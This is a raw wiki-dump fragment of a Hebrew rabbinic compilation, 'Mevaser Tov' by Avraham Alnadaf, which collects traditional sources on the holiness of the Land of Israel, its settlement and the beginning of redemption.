אז אשובה אליכם לפתוח לכם כפתחו של אולם והיינו לבנות ביהמ&quot;ק ולהשרות שכינתי ביניכם כבתחלה וכמ&quot;ש ז&quot;ל אתערותא דלעילא מאתערותא דלתתא, ואפריון נמטייהו להחברות והאגודות הק' אשר נתחדשו בישראל אשר כל מגמתם וכל ישעם וחפצם ליישב ישראל בא&quot;י וכמעט נותנים כל כחם בגשם וברוח לטובת והגדלת והחזקת הישוב, ועלינו אנחנו המתיישבים לתת להם תו&quot;ב ולישא בעדם רנה ותפלה במקום הקודש מקום עלית התפלו' לרום המעלות כי יצליח ה' מעשיהם ויתן להם ולנו כח ואומץ לאחד את כל ישראל באחדות גמורה ולקיים בה כל ד' דברים אשר רמז לנו התנא הק' ר&quot;מ שזוהי התשובה הכללית שהזכרנו למעלה וע&quot;י זה נזכה לגאולה שלמה ועיניהם ועינינו תחזינה בבניןמקדש ואריאל שיבנה בב&quot;א. 

לשנת וסדר **הקבצו ושמעו בני יעקב** לפ&quot;ק.</text>
      <sha1>pqwscpbch4obntetpj1nvs0y392gax6</sha1>
    </revision>
    <revision>
      <id>3020750</id>
      <parentid>3020732</parentid>
      <timestamp>2026-06-19T09:42:30Z</timestamp>
      <contributor>
        <username>Nahum</username>
        <id>68</id>
      </contributor>
      <origin>3020750</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="87107" sha1="oclgoerr0fi4s7fw4p5799xl0q7skrz" xml:space="preserve">[[w:אברהם_אלנדאף|'''&lt;big&gt;חכם אברהם אלנדאף&lt;/big&gt;''']]

== מבשר טוב ==
מה נאוו על ההרים רגלי מבשר משמיע שלום מבשר טוב.

הספר הזה קטן הכמות ורב האיכות &quot;מבשר טוב&quot; על ישוב ארה&quot;ק בכלל ועל עיקו&quot;ת ירושלם בפרט. דברים היוצאים מפי קדושי עליונין רבותינו ז&quot;ל ראשונים ואחרונים אשר אסף איש טהור הרב בעל ס' חבת ירושלם ז&quot;ל והר' בעל ס' רגלי מבשר ז&quot;ל וכולם ברעש גדול מזהירין ומעוררין ומקדישין את כל המתקדש בקדושת הארץ בכל אבר בידו להחזקת הישוב הן בגופו הן בממונו הן ברוח מבינתו בכלל ובפרט כי עת לחננה כי בא מועד עת קץ לבוא אל ארץ אבותינו זאת נחלת עבדי ה' ! הן אמת כי מלבד שהזמן אלצני לקרבה אל המלאכה לראו&quot;ת בגנזי&quot;ם וללקו&quot;ט שושני&quot;ם מכמה ספרים יען טרחתי גם ידעתי בעוד גולה בדורנו זה איזה חכמים ומשכילים השמחים בחלקם אשר רכשו להם בארצות העמים ואל חלק ה' ארץ הצבי נחלת אבותינו אינם פונים ולקדושתה אינם חושבים. עוד העירני אחד מידידי ומכירי הנותנים כל כחם וכל רעיונם רק לישוב הארץ לבלתי התרשל מעשות זאת התורה. אמנם טרדות הזמן הבוגד לא נתנני להוציא כל מחשבתי אל הפועל וע&quot;כ הסתפקתי במה שמצאתי את שאהבה נפשי מה שליקטתי מספרי רבותינו הנז' ז&quot;ל יען בים בהם די והותר למי שמהסס עוד בדבר הישוב וקדושת הארץ ואל החברו' והאגודות היקרו' המתעסקו' בעניני ישוב הארץ ישראל אשא ברכתי כי כה יעשו וכה יוסיפו חזקו והתחזקו בעד עמנו ובעד ערי אלקינו וחפץ ה' בידם יצליח ולא אבוש ולא אחסום פי מלברכם יה&quot;ר שיהיו מעשיהם רצוים לפני ה' השוכן בציון ובוחר בירושלם בימיהם ובימנו תושע יהודה וישראל ישכן לבטח ובא לציון גואל אכי&quot;ר.

המדבר בצדקה, מחכה לישועה קרובה

קל מנמלה אני

אברהם בכ&quot;ר חיים אנדאף ס&quot;ט טין.
שאלו שלום ירושלם ישליו אוהביך

== פרק א ==

=== שאלו שלום ירושלם ישליו אוהביך ===

===== [מי יתן מציון ישועת ישראל בשוב ה' שבות עמו] =====
איתא במס' ד&quot;א בפ&quot;ג אריב&quot;ל א&quot;ל הקב&quot;ה לישראל אתם גרמתם להחריב את ביתי ולהגלות את בני הוו שואלים בשלומה ואני מוחל לכם, מה טעם שאלו שלום ירושלם, ואומר יהי שלום בחילך וגו' ואומר למען אחי וריעי וגו' עכ&quot;ל. ומובא בספרים ומי האיש ירא ה' הרואה שמחילת עון גרם החורבן והגלות תלוי בשאלת שלום ירושלם ולבבו לא יחרד לשאול תמיד בשלומה ופשוטו כמשמעו לשאול על איכות ומהות א&quot;י וירושלם ומקום המקדש בכל פרטיה ודקדוקיה ולהשתוקק להשיג מאבניה ועפרה הק' ולרצותם ולחבבם כמו שמצינו שעשו בגלות יכניה המלך כדאיתא במסכת ר&quot;ה ע&quot;ש, ופירש&quot;י ז&quot;ל משום דכתי' כי רצו עבדיך את אבניה ע&quot;כ.

ב. כתב מהר&quot;ם חגיז ז&quot;ל בס' אלה מסעי ד&quot;ז וז&quot;ל הנה להיות דכל הגולה ראו דטרדת המזונות אינה נותנת להם מקום לחלוק כבוד הראוי לאבינו שבשמים ולאמא עילאה זאת נחלת עבדי ה' בצדקתם כדי להחיות את שארית פליטת אחינו העם היושב בה ולא יהיה נאבד חזקת הישוב מא&quot;י כי העמדת חזקת אותו ישוב הוא עיקר גדול מעקרי האמונה כמו שכתב אבי התעודה הרמב&quot;ם ז&quot;ל במנין המצות עשה קנ&quot;ג וז&quot;ל ובכאן שרש גדול משרשי האמונה לא ידעוהו ולא יתבונן במקומו אלא מי שדעתו עמו והוא הדבר שהיותינו היום בחו&quot;ל חושבים במלאכת העיבור שבידנו ואנו אומרים שהיום ר&quot;ח פ' וזה היום יו&quot;ט פ' לא מפני חשבונותינו נשימהו ר&quot;ח או מועד אלא מפני שב&quot;ד שבא&quot;י קבעו זה היום ר&quot;ח או מועד ועל קביעותם נעמוד ולא על חשבוננו נסמוך הקביעות יען אין חשבונינו אלא לגילוי מלתא בעלמא והבן זה מאד כי אני אוסיף לך ביאורו אלו חשבנו והנחנו דרך משל שבני א&quot;י יעדרו ולא יהיו עוד בא&quot;י ח&quot;ו ולא יהיה בחו&quot;ל ב&quot;ד שנסמך בארץ, דע שחשבונינו לא יועילנו בשום דבר לפי שאין לנו לחשוב בחו&quot;ל לעבר שנים ולקבוע חדשים אלא בתנאים הנזכרים כמו שבארנו כי מציון תצא תורה ודבר ה' מירושלם וכשיתבונן מי שיש לו שכל שלם ובריא בלשונות התלמוד בזה הענין יתברר לו כל זה שאמרנו ביאור אין ספק בו, ע&quot;כ תמצית לשונו הטהור, ואין ספק בזה דע&quot;פ הדברים האלה אשר דבר משה איש האלהים מזה ימים מקדם הלכה רווחת בישראל דכל יו&quot;ט שני של גליות עושין נדבה סתם לעני א&quot;י כי זכרון הוא להודיע ולהודע דע&quot;פ החשבונים אנו סומכים בענין קביעות הר&quot;ח והיו&quot;ט ולבלתי ידה ממנו נדח עושין משמרת למשמרת כדי שלא יכלה ח&quot;ו רגל ישראל מנחלת אבותינו עכ&quot;ל ס' אל&quot;מ.

== פרק ב ==

=== עורי עורי קומי שבי ירושלם. ===

==== [כי מציון תצא תורה ודבר ה' מירושלם]. ====
א. דבר גדול הנאמר בס' חרדים ומובא בשל&quot;ה הק' וז&quot;ל וצריך כל איש ישראל לחבב את א&quot;י ועגב גדול הוא לבוא אלי' מאפסי הארץ בתשוקה גדולה כבן אל חיק אמו כי תהלת עונינו שנקבעה לנו בכיה לדורות יען מאסנו בה שנאמר וימאסו בארץ חמדה ובפדיון נפשינו מהרה יהיה כי רצו עבדיך את אבניה ואת עפרה יחוננו ושם אתה תקום תרחם ציון ולפיכך היו האמוראים מנשקים עפרותיה ואבניה בבואם אליה. ומה טוב ומה נעים לשיר שיר ידידות אשר יסד רבינו יהודה הלוי עליה באהבה רבה, תחלת השירה ארץ הקדושה יקרא חמודה וכו', [ואנן בני תימן כן אנו משוררים שיר מיסוד ר&quot;י הנז' והוא יפה נוף וכו',] בשמחה רבה ומתחננים לאל אל יגרשנו מעליה גם הקרובים והרחוקים אשר חוצה לה ראוי להם שיהיו נכספים ותאבים אליה כי כשם שבחר בהם כך בחר בא&quot;י ויחד אותה להם ואין נקראים גוי אחד אלא עמה שכך פי' רשב&quot;י על מקרא שכתוב ומי כעמך ישראל גוי אחד בארץ ומצינו במדרש שהקב&quot;ה אמר לאברהם אבינו פעם ראשונה שילך לא&quot;י ויראנה ויחזור ואחר שהחזר לא נתן לו רשות לחזור לא&quot;י עד חמש שנים ואותן החמש שנים היה משתוקק לחזור ללכת והוא שאמר זה הפסוק מי יתן לי אבר כיונה אעופה ואשכנה הנה ארחיק נדוד אלין במדבר סלה מוטב ללון במדברות שלא&quot;י, ולא ללון בפלטיות של חו&quot;ל והיה תאב ומשתוקק כתיב וילך אברהם כאשר דבר אליו ה' וקודם בואו אל הארץ לא היה משתוקק אבל אחר שבא פעם ראשונה וראה במראה הנבואה יקר תפארת הארץ אז נכסוף נכסף וממנו נלמוד לדורות אנחנו יוצאי חלציו להיות נכספים כמוהו אע&quot;פ שיושבים בצער על מנת כך נהיה שמחים ביסורין.

עוד שם ז&quot;ל וכתב רמב&quot;ן במנין תרי&quot;ג מצות, ישיבת ארץ ישראל בכל עת ורגע שהאדם בא&quot;י הוא מקיים המצוה זו עכ&quot;ל, הנה כי כן אשרי האיש המצפה לעלות לארץ חמדה לנשק באהבה אבניה ועפרותיה עכ&quot;ל.
&quot;וְשַׂשְׂתִּי בְעַמִּי וְגַלְתִּי בִּירוּשָׁלָ‍ִם

== פרק ג ==

=== &quot;וְשַׂשְׂתִּי בְעַמִּי וְגַלְתִּי בִּירוּשָׁלָ‍ִם ===

==== [העם הישב בה נשוא עון]&quot; ====
א. איתא בס' חרדים ד' נ&quot;י זצ&quot;ל, דע כי היסורים של א&quot;י הן מצד החלאים הן מצד המזונות והן מצד הערבים וכיוצא מזבח כפרה הם (כמ&quot;ש ישעיה ל&quot;ג) וכל יאמר שכן חליתי העם היושב בה נשוא עון, שע&quot;י הצער שהם סובלים מנכים ומתמעטים העונות וכתי' וכפר אדמתו עמו ע&quot;כ. ובס' טוב הארץ ד' ד' מביא מדרש משלי והובא בילקוט ז&quot;ל א&quot;ר יוחנן טוב פת חריבה זו א&quot;י שאפי' אוכל אדם בה פת במלח ובכפנם ודר בה זוכה לעוה&quot;ב, מבית מלא זבחי ריב זו חו&quot;ל וכו' ע&quot;ש. ועיין בסידור רבי יעבץ ז&quot;ל בהקדמתו דכ&quot;ד שהאריך בענין מעלת הדר בא&quot;י וסו&quot;ד בד' ל' כתב ואין להאריך בידוע כמה הפליגו חז&quot;ל בשבח א&quot;י והדרים בה כי התלמוד והמדרשים והזוהר וספרי החכמה מלאים מפה לפה, וגם המפרשים מלאו ידיהם לה' להזכירה לשבח גדול ביחוד הראב&quot;ע והרמב&quot;ן ז&quot;ל. גם הרב בעל ס' הכוזרי הפליג בדבר הזה ומאריך שלא יהיה מקום לבע&quot;ד לחלוק מהא דאמר רב יהודה כל העולה מבבל לא&quot;י עובר בעשה עש&quot;ב שמוכיח שאפי' מבבל בימי חכמי התלמוד היו עולין לא&quot;י ת&quot;ח לרוב ע&quot;ש ומסיים בד' ל&quot;ו וז&quot;ל, נחזור לעניינינו מי שעושה בלבו הסכמה מוחלטת לעלות לא&quot;י כשמשיג ידו ומתעכב בחו&quot;ל מפני החברה אז מועיל לו כונתו הטובה ותעלה לו ותקובל תפלתו כאלו עומד בעיה&quot;ק נגד שער השמים ויעזרוהו להוציא מחשבתו לפועל ממש לקיים עכ&quot;ל היעב&quot;ץ.

ב. ובס' חס&quot;ל מעין ג' נהר י&quot;ב ב' וז&quot;ל ודע שכל הדר בא&quot;י נקרא צדיק הגם שאינם צדיקים כפי הנראה שאם לא היה צדיק היה מקיא אותו הארץ כדכתיב ותקיא הארץ את יושביה וכיון שאינו מקיא אותו בודאי נקרא צדיק אע&quot;פ שהוא נראה בחזקת רשע ובס' טוה&quot;א מביא זה בשם רמ&quot;ק ז&quot;ל.

ג. א&quot;ה בהיות שראיתי איזה חכמים מחכמי דורנו שסוברים שאין תועלת רוחנית בישיבת ארה&quot;ק בזה&quot;ז יען שחושבים שקדושתה אינה רק בזמן שהיתה כבושה בידיהם ובהמ&quot;ק בנוי, לא כן עתה בחורבנו לזאת רציתי להאריך כאן ולהביא מעט מזער ממה שהעלה בס' חבת ירושלם זה יצא ראשונה. הרב הגאון בעל ספר כפתור ופרח בפ&quot;י מביא מעלת א&quot;י וכתב הרי שקדושת הארץ ומעלתה הוא משעת נתינתה אל האבות לא משעת הכבוש לחוד, אמנם החוב מתנותיה הוא משעת כבוש לבד, עוד כתב שם שאין היום הבדל ולא הפרש ולא חילוק כלל בין מה שכבשו עולי מצרים ובין מה שכבשו עולי בבל שאין שום דבר בזה שלא יהיה בזה בענין הקדושה והמעלה לבד חיוב התרומות ומעשרות שאלו דאורייתא ואלו דרבנן ומוכיח וכתב ולזה תמצא כשהם מזכירים ז&quot;ל קדושה ראשונה קדשה לשעתה ולא כו' לא הזכירו אלא על חיוב תו&quot;מ אבל קדושת הארץ כולה לגבולותיה המוגבלים בתורה וטהרתה ומעלתה לחיים ולמתים והיותה נחלת ה' מקדושה ראשונה ולהלן כדקאי קאי לא בצר לא בזמן הגלות שהיו בבבל וגם לא בגלותנו היום, ומביא ראיות והוכחות וכתב הרי שרז&quot;ל קוראים ארץ העמים לחלק א&quot;י עצמה אף אנו נאמר שקוראין לחלק א&quot;י חו&quot;ל מפני שלא נכבשו בשניה, ולשון ארץ העמים ולשון חו&quot;ל אחד הוא שחו&quot;ל היא ארץ העמים וארץ העמים היא חו&quot;ל. וא&quot;כ כשנמצא שיפול א' מאותם השמות על איזה חלק ממנה הוא מפני איזה מום שמצאו חכמים באותו חלק הן ממדור הגוים הן שלא נכבש בשניה עד שנתבטלו חקי המתנות שם מדין תורה. ועפי&quot; הסברא ואיך דלגה בגבולי א&quot;י חו&quot;ל עד שבארץ עכו יוצאת רצועה מחו&quot;ל וכן בין לוד ויפו נפלה החתיכה מחו&quot;ל והוא כפר לודים והנה שלשת אלו המקומות יכללם מהלך שתי שעות וכמה כיוצא בזה אלא אין לנו לומר אלא הטעם שזכרנו שבטלו חקי מתנותיה ומוכיח עוד ומסיים העולה בידינו מכל זה שכל מקום שנמצא רז&quot;ל אומרים וקוראים חו&quot;ל לאיזה חלק שיהיה מן הארץ בתוך גבולי אלה מסעי שרצונם לומר חו&quot;ל של כבוש שני לא שיהיה דעתם כחו&quot;ל גמור חלילה. וא&quot;כ כל מה שבתוך גבולי א&quot;י הנז' באלה מסעי הכל לכל הפחות קדוש בקדושת א&quot;י לכל התועלת המוקדשים ממנה ולענין חיוב חוקיה יש הפרש ובמה שהתבאר עב&quot;ל.

ד. הרב מהר&quot;מ חאגיז ז&quot;ל המיוסד להשיב לנביר א' אשר שאלהו לדעת קדושת הארץ בהיום ואם יש איזה שבר טוב לשכון בה כי שמע לקצת שוטים אשר אמרו שהדרים בעת בארה&quot;ק עוברים ציווי ה' אשר גזר היות הארץ שוממה מבלי יושב כמ&quot;ש ושממו עליה וכו' והשיב באורך וברוחב דברים הנחמדים מזהב ומפז רב מתוקים מדבש ולהעתיק כלו א&quot;א אולם מפני שיש גם עתה המצפצפים והמהגים שאלות כאלה מדינה ומדינה בלשונה זאת אומרת טוב לשבת בחו&quot;ל בעבודה תמה מלבוא אל שער המלך בלבוש שק כי אדם אין צדיק וכו' וזאת אומרת מה בצע כי נתמוך ידי היושבים שם אם חפץ בנו ה' להתיישב ארצו ונחלתו יגאלנו ויביאנו לשלום שמה.

לכן אעתיק איזה גרגרים עיקרים בקצרה ובדילוג, בריש מלין כ' בדף ג', וז&quot;ל: כי אין ספק אצלי כי כל איש חכם שמסתפק בזה וכיוצא בו לא פליט מהדא מתרתי – או שנזרקה בו רוח מינות והתורה שלמד נעשית לו סם המות, או באמת היותר ודאי אצלי שאין זה חכם ואם קרא לא שנה ואם שנה לא פירשו לו רבותיו יפה ההשגחה הנצרכת וראויה לדקדק בדברי התורה והנביאים והחכמים העניים במקום הזה ועשירים במקום אחר. ובדף ה' כ' שהם זורעים לריק ומולידים לבהלה נגד אמיתות דברי התורה והנביאים והכתובים והחכמים השלימים האלהים רבותי' הצדיקים ז&quot;ל, ושם הרשעים המורים פנים בתורה שלא כהלכה אשר יעצו זאת על ירושלם המעטירה ארץ חמדה והחשוקה מאבות שלשה ורועים שלשה לאמור שנתחלל קדושתה קדושת הכהנת להיות כפונדקית ומאחר כי עזב ה' את הארץ הטובה ההיא שהעם היושב בה הוא רובץ תחת משא עונותיו ושה' יחשוב לו עון על ישיבתו בארץ ההיא מבאשים את ריח קה&quot;ק ולדעתי דעת התורה המה מטילים מום בקדשים. וה' שוכן בציון עבר הוה עתיד הלא זאת בת שבע רצון מלאה ברכת ה' ארץ חפץ אשר חפץ בה ה'.

ובריש ד' ו' כ' וז&quot;ל: יתברר לך כי הן עוד היום גדול כח אותו הרשימו דקדושה שנשאר בה להיות מעולה הארץ וכל יושביה מכל שאר הארצות ויושביהן וכו' ומאריך בזה וב' בד' ז' הרי לך ברור כי כפרתן של ישראל היתה ע&quot;י כי נטש את נחלתו ביד הישמעאלים אשר נתן נתן את חלקת חמדת ידידות מנוחתו למדבר שממה.

בסוף ע&quot;א כ' להורות לנו כי הן עוד היום בגלותנו זאת הארץ לוקה בעבור בניה שבחו&quot;ל ואין לך מלקות גדול מזה כי אמרה ציון מצאוני עוני לארץ אחרת יצאוני בני ותאמר ציון עזבני ה' וה' שכחני. היתה כאלמנה ולא אלמנה ממש כי בועליך עושיך ה' צבאות שמו ושקועים בה כל החזיונות והנחמות אשר חזו לה נביאי האמת וצדק ומוכיח ומסיים סוף ע&quot;ב וז&quot;ל ונמצאת למד כי אין חפץ לה' שתשאר הארץ הק' בוקה ומבולקה מכל טוב בנוי' כי היא בלי ספק גם בזמן הזה בית חיינו וזה לך האות כי כל הדר בא&quot;י עושה רצון אביו שבשמים ונקרא צדיק וה' אהבו מאחר שזוכה להיות בתוך פלטרין שלו דהרי לך קרא דכתיב ותקיא הארץ את יושביה, ומאחר שאנו רואים שאינה מקיאה אותם הוא מופת חותך שהם צדיקים ובמ&quot;ש ב' הר' חס&quot;ל.

עוד כתב שם ד' ח' וז&quot;ל, ופוק חזי לאותן שהלכו בגולה והיו חוצה לה בבבל שעם היות כי כה אמר ה' לכל הגולה אשר הגלה מירושלים לבבל שיבנו בתים ויטעו כרמים וכו' לא נתקררה דעתם ולא כן עשו ואדרבא ויתנו את קולם בבכי וצעקה כמ&quot;ש **על נהרות בבל** שם ישבנו גם בכינו וכו' והקללה שקללו א&quot;ע אם אשכחך ירושלם תשכח ימיני נתקיימה בגלות שני זה שאנו בו שנתארך כ&quot;כ זמן ונחשבנו כמת מלב וכל אחד בעיר אומר שלום יהיה לי כי זו היא ירושלם בשבילי אך בני גלות בבל היו אומרים בת בבל השדודה וכו' לפי שהם היו יודעים בטוב טעם כי מקורי צנורי השפע והברכות וקבלת התפלות הם דרך א&quot;י ובפרט בשערי בת ציון ובפרט מן הפרט בביהמ&quot;ק כי שם צוה ה' את הברכה חיים עד העולם.

ובד' ט' מביא ירושלמי **דברכות** ותנחומא ז&quot;ל ר&quot;א בן פדת אומר ביהמ&quot;ק בין בנוי בין חרב לא זזה שכינה ממקומה שנ' והיה עיני ולבי שם כל הימים ע&quot;כ.

עוד בד' י' ע&quot;ב מביא מאמר רז&quot;ל בויקרא רבה בכל מקום שנאמר לי אינו זז משם לא בעוה&quot;ז ולא בעוה&quot;ב וקא חשיב כהנים לוים וישראלים וא&quot;י וירושלם ומלכות ב&quot;ד ומקדש ומזבח עם הכתובים הנאמרים אצל כל א', וכו' הרי לך מן המאמר הנכבד הזה ברור ומבואר כי כמו שקדושת כהנים לוים וישראלים לא זזה ממקומה כך קדושת א&quot;י וירושלם והמקדש והמזבח היא קיימת ועומדת לעד ואעפ&quot;י שהן שוממין בקדושתן הן עומדים כמ&quot;ש במס' מגילה ע&quot;פ והשימותי את מקדשיכם אעפ&quot;י שהן חרבין בקדושתן הן עומדים :

עוד בד' י&quot;ג ב' ראה עוד כמה הגיע כח א&quot;י כמו שאמרנו לבטל המזל והבאתי אתכם אל הארץ זו ארץ החיים שכל מיני חיים תלויים בה, אלו הן חיי עוה&quot;ז וחיי תחית המתים. וחיי העוה&quot;ב. ומביא מכורות ע&quot;ז ועו&quot;ש. עוד הביא בד' י&quot;ד לשון הרמב&quot;ם ז&quot;ל ה' מלכים פ&quot;ה דין ט' י' י&quot;א י&quot;ב, יעו&quot;ש.

נחזור לעניננו כי ה' יסד ציון וקדושת הארץ והמקדש והמזבח היא קדושה נצחית אשר לא זזה ולא תזוז מיסודותיהן ומביא פסוקים ובי' שכל המקראות הללו ואלף כיוצא בהן דאיתניהו בתנ&quot;ך מלבד מאמרי רז&quot;ל שהם אלפים לא יכיל לכל מי שקרא אותם בהשגחה הנצרכת כולם יעידון יגידון כי כמו ששם ה' נקרא עלינו כך שמו נק' תחלה בארץ ההיא כדכתיב כי שמך נקרא על עירך ועל עמך. א&quot;כ השכל הוא מחייב שמי שהיה מלך ויהיה מלך הוא נק' כהיום מלך מכח העבר והעתיד אף כי לפי ראות עיני בשר בהוה ועתיד. וסבת המקרים איננו בחצר מלכותו על כל זה תואר שמו וכבודו הדרת יקר הצר בית מלכותו לא יהסר ולא יתבטל מאחר כי כולי עלמא ידעי טובא כי בהתבטלות הפגע ההוא ישוב לאיתנו הראשון ויטע אהלי אפדנו ובוא יבוא למשפט ליתן שכר לכל אותן שנהגו בו כבוד בהיותו מושפל ולהעניש אותם שזלזלו בו אוי לו ואבוי לו ואוי לנפשו מי שמזלזל בית מלכו ואלהיו. וזרע עבדיו הנאמנים ינחלוהו ואוהבי שמו ישכנו בה מעתה ומעכשיו כי רצו עבדיך את אבניה וגו' הם העם היושבי' בה ומי גר אתך בעניותך עליך יפול בעשירותך וכל המתאבל על ירושלם זוכה ורואה בשמחתה וכל שאינו מתאבל אינו רואה בשמחתה ואצ&quot;ל למי שמוציא ש&quot;ר עליה ועל יושביה כמו המרגלים שאז ודאי אין ספק אצלי ואצל כל חכם לב ירא וחרד לדבר ה' שנכתבה ונחתמה בגזירת מלך מלכו של עולם שחתם גזר דין בתורתו.

וז&quot;ל בד' ט&quot;ז כי יצאה הגזירה מלפניו דכשם שכל האנשים הרואים את כבודי דהיינו על הדור ההוא אני גוזר עליהם שלא יהיו רואים את הארץ כך לדורות הבאים כל מי שיוציא ש&quot;ר על הארץ ילקה בגופו ויקנס בעונש זה והיינו כל מנאצי לא יראוה דקאי על לעתיד ג&quot;כ יהיו תחת גזירה זו שלא יראוה כי המוציא שם רע על הארץ הטובה הנה מורה היותו לא מבני ישראל דכלום יש בן שיוציא ש&quot;ר על אמו שילדה או שהוא עושה דבר שלא ברצון בעלה והנה בן הדבר הזה מאחר שיסוד מוסד הוא היות לכל איש ואיש מבנ&quot;י חלק ונחלה בארץ. ע&quot;ש בע&quot;ב ז&quot;ל ודבת של המרגלים היתה על ארץ שעדיין לא היתה מקודשת בשם כל ישראל להיות נקראת ארץ ישראל כי הרי באותו זמן היתה עדיין נקראת ארץ כנען ובאמת כל מה שדברו רעה לא היה אלא על יושביה שאמרו על הגוים אפס כי עז העם היושב בארץ וגו' וגם מה שהם אומרים מה לנו ולא&quot;י מאחר שכבר השליך אותנו משם אין לנו עוד א&quot;י כארצות העמים שאנחנו יושבים שם שקטים ושאננים ומה לנו ולצרה הזאת שבני א&quot;י יהיו יושבים שם וכש&quot;ש שילכו ויתיישבו ואח&quot;כ יבואו לקחת את ממונינו לפדיון נפשם או לבנות להם בתים לשבת, ע&quot;ז ידעו כי הנה יום לה' צבאות על כל גאה ורם וגו' ונשפטתי אתם וגו' שבאמת פסוק זה מורה שהמשפט הזה על בית ישראל הוא על הוצאות דבת הארץ ויושביה רעה אל אביהם שהנוגע בכבוד הארץ ההיא מחלל כבוד אביו שבשמים. ובסוף סיים וזה לשונו בדף י&quot;ז, ה' יודע כי ת&quot;ל רובא דרובא דמינכר בקהלות ישרא' כל הגולה צדיקים הם ורצו עבדיו את אבניה ואת עפרה יחוננו ואם יש יכולת בידם לעלות ואינם עושין הוא מפני חסרון ידיעתם בגדולות הארץ ותועלותיה והרי אלו שוגגין ולא מזידין יעו&quot;ש.

מעתה מי הוא ואיזה הוא אשר יבוא אחר דברי המלכים אדירי התורה האלה להעלות על רוחו עוד איזה ספק בקדושת הארץ בזה&quot;ז בכל גבולותיה וכ&quot;ש לדבר סרה עליה ועל יושביה עם הק' ברוכי ה'.


== פרק ד ==
שמחו את ירושלם וגילו בה כל אוהביה.

[בונה ירושלים ד' נדחי ישראל יכנס].

הנה ידוע ומפורסם שכל מה שהוצרכו חז&quot;ל כת הקודמין להזהיר על החזקת היושבים בא&quot;י כמבואר למעלה הוא רק בזמניהם שאז לא היה ישוב נכון ומתי מעט היו היושבים באיזהו מקומן של תובב&quot;א ארבע ארצות הק' הידועים ומסיבת מיעוט הישוב ותקיפות הערבים שהיו בימיהם היה להם צער גדול בישיבת הארץ מכל צד ומכל פנה כאשר שמענו ונדעם. אמנם כאשר קרב זמן והותר הנדר מלמעלה נתן ה' רגש והתעוררות גדולה בלב חכמי וגדולי ישראל שרים ופרתמים עשירי עם ובקשו ממלכי חסד האדירים והרחמנים העותמנים יר&quot;ה לתת לישראל החופש להתיישב ישוב טוב בא&quot;י בל תהיה עוד הארץ שממה. ולב מלך ביד ה' נתן בלב כל מלך שעמד מזמן המלך החסיד הרחמן סולטאן סלים ז&quot;ל ועד עתה חן וחסד לישראל ופתח להם הדרך להתיישב בארץ השממה וגלה את יסודות בית המקדש וכותל המערבי והרשה את היהודים שהיו דרים בירושת&quot;ו

בזמנו לבנות את הבית לתלפיות כשהיה [כי ידע את התועלת המגיע לממשלתו אח&quot;כ בבנינו כמ&quot;ש חז&quot;ל אלו ידעו הרומיים את ערך התועלת הגדולה שהיתה להם בנין ביהמ&quot;ק לא היו מחריבים אותו] אך הם השיבו כי לא יוכלו עד שירצה ה' וכו' כמבואר בס' חבב ירושלם ע&quot;ש ומאותו זמן והלאה התחיל הישוב לאט לאט ואז נתרבה הישוב הלוך וגדל באין מפגיע מהמציקים יושבי הארץ כמקדם ותמיד אנו מתפללים בשלומה של מלכות כמו שצוונו חז&quot;ל כי בשלומה יהיה לנו שלום! אחרי כתבי כ&quot;ז אינה ה' לידי ס' &quot;רגלי מבשר&quot; להרב ר' יאודה אלקלעי ז&quot;ל שהבר ושלחו אל חברת &quot;ישוב א&quot;י&quot; וחברת כי&quot;ח שהיו בזמנו בשנת הת&quot;ר ועל צבא הפאר והתהלה כבוד המנוח סי' משה מונטיפיורי ז&quot;ל וראיתי שם שעוררם לישוב הארץ ברעש גדול ובהתלהבות עצומה ובודאי שדבריו נכנסו באזניהם ועשו פרי תנובה כאשר עינינו הרואות שכמה מושבות נבנו בירושלם וסביבותיה ע&quot;י. ויען שאין עוד מקום להביא כאן כל דבריו לכן נתתי אל לבי להביא בקובץ זה איזה סעיפים השייכים לכוונתנו הרצויה וזה החלי.

א. אמרו עוד במדרש הובא בס' אבקת רוכל ס' ראשון חלק שני וז&quot;ל ובריש פסיקתא אמרינן כשברא הקב&quot;ה את עולמו פשט ידו תחת כסא הכבוד

והוציא נשמת המשיח וכת שלו. א&quot;ל רוצה אתה לבראות ולגאול את בני אחר ששת אלפים. א&quot;ל הן. א&quot;ל אם כן תסבול יסורין למרק עונם הה&quot;ד אכן חליינו הוא נשא. א&quot;ל אסבול אותם בשמחה. א&quot;ל צדיקים יחיו בביאתך א&quot;ל יהי רצון שיחיו כולם ואפילו נפלים וכו' ואמרו רז&quot;ל כי קודם לכן יבא משיח בן יוסף ויקבץ הגליות עכ&quot;ל.

ומדבריהם למדנו, א' כי הגואל הגדול משיח בן דוד המורגל בפי כל ישראל, הוא היעוד האחרון והמופלא שבכל יעודי הגאולה.

ולכן אין לנו לדבר מן המב&quot;ד שהוא סוף הגאולה, ומה יש בידנו לדבר בו. כיון שלא פורש אם הוא מן החיים או מן המתים, ואיך, ומתי יבא, נעלם מאתנו ואין צורך לדבר בו. כיון שהוא יבא אחרי בנין הבית כמ&quot;ש בירושלמי מעשר שני פ' ה', וכשישובו האורים על לב אהרן אזי יודע לכל מהות הבן דוד מי הוא ואיזה הוא ומוצאיו ומובאיו וכל חוקותיו. אבל על המב&quot;י שהוא התחלת הגאולה חייבים אנחנו לדבר בו לדבר על לב עגומים ולדעת מה יעשה ישראל.

התחלת הגאולה דבר ה' בהושע, ונקבצו בני יהודה ובני ישראל יחדיו ושמו להם ראש אחד ועלו מן הארץ כי גדול יום יזרעאל. ולכן פתח דברו יאיר.

תחילת דבר ה' בהושע. תחילת הוא סמוך וחסר הנסמך. ר&quot;ל תחילת הגאולה דבר ה' בהושע. ר&quot;ל כל הנביאים נתנבאו נחמות ויעודי הגאולה, אבל ההתחלה דבר ה' בהושע ונקבצו ושמו להם ראש אחד הוא המשיח ב&quot;י [מ&quot;י ד' ס&quot;ט ע&quot;ד] והוא יקבץ הגליות ועלו מן הארץ כי גדול יום יזרעאל.

